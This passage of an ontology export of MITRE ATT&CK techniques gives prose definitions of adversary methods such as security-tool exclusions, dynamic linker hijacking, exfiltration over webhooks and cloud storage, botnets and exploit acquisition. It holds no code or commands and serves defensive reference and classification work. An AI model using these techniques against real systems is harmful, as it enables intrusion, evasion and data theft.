definition: Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)
subclass of: T1564

Bind Mounts
type: Class
attack-id: T1564.013
definition: Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.
subclass of: T1564

Extended Attributes
type: Class
attack-id: T1564.014
definition: Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)
subclass of: T1564

Spearphishing Voice
type: Class
attack-id: T1566.004
definition: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.
subclass of: T1566

Exfiltration to Code Repository
type: Class
type: NamedIndividual
attack-id: T1567.001
definition: Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.
may-produce: OutboundInternetEncryptedRemoteTerminalTraffic
may-produce: OutboundInternetEncryptedWebTraffic
subclass of: Restriction
  on property: may-produce
  some values from: OutboundInternetEncryptedWebTraffic
subclass of: Restriction
  on property: may-produce
  some values from: OutboundInternetEncryptedRemoteTerminalTraffic
subclass of: T1567

Exfiltration to Cloud Storage
type: Class
type: NamedIndividual
attack-id: T1567.002
definition: Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.
produces: OutboundInternetEncryptedWebTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetEncryptedWebTraffic
subclass of: T1567

Exfiltration to Text Storage Sites
type: Class
attack-id: T1567.003
definition: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
subclass of: T1567

Exfiltration Over Webhook
type: Class
attack-id: T1567.004
definition: Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.
subclass of: T1567

Fast Flux DNS
type: Class
attack-id: T1568.001
definition: Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)
subclass of: T1568

DNS Calculation
type: Class
attack-id: T1568.003
definition: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
subclass of: T1568

Systemctl
type: Class
attack-id: T1569.003
definition: Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications.
subclass of: T1569

Lateral Tool Transfer
type: Class
type: NamedIndividual
attack-id: T1570
definition: Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.
produces: IntranetFileTransferTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetFileTransferTraffic
subclass of: LateralMovementTechnique

Protocol Tunneling
type: Class
type: NamedIndividual
attack-id: T1572
definition: Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

Symmetric Cryptography
type: Class
type: NamedIndividual
attack-id: T1573.001
creates: OutboundInternetEncryptedTraffic
definition: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
subclass of: Restriction
  on property: creates
  some values from: OutboundInternetEncryptedTraffic
subclass of: T1573

Asymmetric Cryptography
type: Class
type: NamedIndividual
attack-id: T1573.002
creates: OutboundInternetEncryptedTraffic
definition: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.
may-transfer: CertificateFile
subclass of: Restriction
  on property: creates
  some values from: OutboundInternetEncryptedTraffic
subclass of: Restriction
  on property: may-transfer
  some values from: CertificateFile
subclass of: T1573

Executable Installer File Permissions Weakness
type: Class
type: NamedIndividual
attack-id: T1574.005
definition: Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
modifies: ServiceApplication
subclass of: Restriction
  on property: modifies
  some values from: ServiceApplication
subclass of: T1574

Dynamic Linker Hijacking
type: Class
type: NamedIndividual
attack-id: T1574.006
definition: Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)
modifies: OperatingSystemConfigurationFile
subclass of: Restriction
  on property: modifies
  some values from: OperatingSystemConfigurationFile
subclass of: T1574

Path Interception by PATH Environment Variable
type: Class
type: NamedIndividual
attack-id: T1574.007
creates: ExecutableFile
definition: Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.
subclass of: Restriction
  on property: creates
  some values from: ExecutableFile
subclass of: T1574

Path Interception by Search Order Hijacking
type: Class
type: NamedIndividual
attack-id: T1574.008
creates: ExecutableFile
definition: Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
subclass of: Restriction
  on property: creates
  some values from: ExecutableFile
subclass of: T1574

Path Interception by Unquoted Path
type: Class
type: NamedIndividual
attack-id: T1574.009
creates: ExecutableFile
definition: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
subclass of: Restriction
  on property: creates
  some values from: ExecutableFile
subclass of: T1574

COR_PROFILER
type: Class
type: NamedIndividual
adds: SharedLibraryFile
attack-id: T1574.012
definition: Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: adds
  some values from: SharedLibraryFile
subclass of: T1574

KernelCallbackTable
type: Class
attack-id: T1574.013
definition: Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)
subclass of: T1574

AppDomainManager
type: Class
attack-id: T1574.014
definition: Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains)
subclass of: T1574

Native API - ATTACK Mobile
type: Class
attack-id: T1575
definition: Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileExecutionTechnique
preferred label: Native API

Uninstall Malicious Application - ATTACK Mobile
type: Class
attack-id: T1576
definition: Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:
comment: This technique has been revoked by T1630.001
subclass of: ATTACKMobileDefenseEvasionTechnique
deprecated: true
preferred label: Uninstall Malicious Application

Compromise Application Executable - ATTACK Mobile
type: Class
attack-id: T1577
definition: Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Compromise Application Executable

Create Snapshot
type: Class
attack-id: T1578.001
definition: An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.
subclass of: T1578

Create Cloud Instance
type: Class
attack-id: T1578.002
definition: An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)
subclass of: T1578

Delete Cloud Instance
type: Class
attack-id: T1578.003
definition: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.
subclass of: T1578

Modify Cloud Compute Configurations
type: Class
attack-id: T1578.005
definition: Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.
subclass of: T1578

Keychain - ATTACK Mobile
type: Class
attack-id: T1579
definition: Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.
comment: This technique has been revoked by T1634.001
subclass of: ATTACKMobileCredentialAccessTechnique
deprecated: true
preferred label: Keychain

Cloud Infrastructure Discovery
type: Class
attack-id: T1580
definition: An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
subclass of: DiscoveryTechnique

Geofencing - ATTACK Mobile
type: Class
attack-id: T1581
definition: Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)
comment: This technique has been revoked by T1627.001
subclass of: ATTACKMobileDefenseEvasionTechnique
deprecated: true
preferred label: Geofencing

SMS Control - ATTACK Mobile
type: Class
attack-id: T1582
definition: Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.
subclass of: ATTACKMobileImpactTechnique
preferred label: SMS Control

Domains
type: Class
attack-id: T1583.001
definition: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
subclass of: T1583

DNS Server
type: Class
attack-id: T1583.002
definition: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.
subclass of: T1583

Virtual Private Server
type: Class
attack-id: T1583.003
definition: Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.
subclass of: T1583

Server
type: Class
attack-id: T1583.004
definition: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked)
subclass of: T1583

Botnet
type: Class
attack-id: T1583.005
definition: Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)
subclass of: T1583

Web Services
type: Class
attack-id: T1583.006
definition: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
subclass of: T1583

Serverless
type: Class
attack-id: T1583.007
definition: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
subclass of: T1583

Malvertising
type: Class
attack-id: T1583.008
definition: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.
subclass of: T1583

Domains
type: Class
attack-id: T1584.001
definition: Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)
subclass of: T1584

DNS Server
type: Class
attack-id: T1584.002
definition: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.
subclass of: T1584

Virtual Private Server
type: Class
attack-id: T1584.003
definition: Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)
subclass of: T1584

Server
type: Class
attack-id: T1584.004
definition: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.
subclass of: T1584

Botnet
type: Class
attack-id: T1584.005
definition: Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).
subclass of: T1584

Web Services
type: Class
attack-id: T1584.006
definition: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.
subclass of: T1584

Serverless
type: Class
attack-id: T1584.007
definition: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
subclass of: T1584

Network Devices
type: Class
attack-id: T1584.008
definition: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.
subclass of: T1584

Social Media Accounts
type: Class
attack-id: T1585.001
definition: Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
subclass of: T1585

Email Accounts
type: Class
attack-id: T1585.002
definition: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)
subclass of: T1585

Cloud Accounts
type: Class
attack-id: T1585.003
definition: Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
subclass of: T1585

Social Media Accounts
type: Class
attack-id: T1586.001
definition: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
subclass of: T1586

Email Accounts
type: Class
attack-id: T1586.002
definition: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).
subclass of: T1586

Cloud Accounts
type: Class
attack-id: T1586.003
definition: Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
subclass of: T1586

Malware
type: Class
attack-id: T1587.001
definition: Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)
subclass of: T1587

Code Signing Certificates
type: Class
attack-id: T1587.002
definition: Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
subclass of: T1587

Digital Certificates
type: Class
attack-id: T1587.003
definition: Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).
subclass of: T1587

Exploits
type: Class
attack-id: T1587.004
definition: Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)
subclass of: T1587

Malware
type: Class
attack-id: T1588.001
definition: Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
subclass of: T1588

Tool
type: Class
attack-id: T1588.002
definition: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)
subclass of: T1588

Code Signing Certificates
type: Class
attack-id: T1588.003
definition: Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
subclass of: T1588

Digital Certificates
type: Class
attack-id: T1588.004
definition: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.
subclass of: T1588

Exploits
type: Class
attack-id: T1588.005
definition: Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)
subclass of: T1588

Vulnerabilities
type: Class
attack-id: T1588.006
definition: Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)
subclass of: T1588

Artificial Intelligence
type: Class
attack-id: T1588.007
definition: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)
subclass of: T1588

Credentials
type: Class
attack-id: T1589.001
definition: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
subclass of: T1589

Email Addresses
type: Class
attack-id: T1589.002
definition: Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
subclass of: T1589

Employee Names
type: Class
attack-id: T1589.003
definition: Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
subclass of: T1589

Domain Properties
type: Class
attack-id: T1590.001
definition: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.
subclass of: T1590

DNS
type: Class
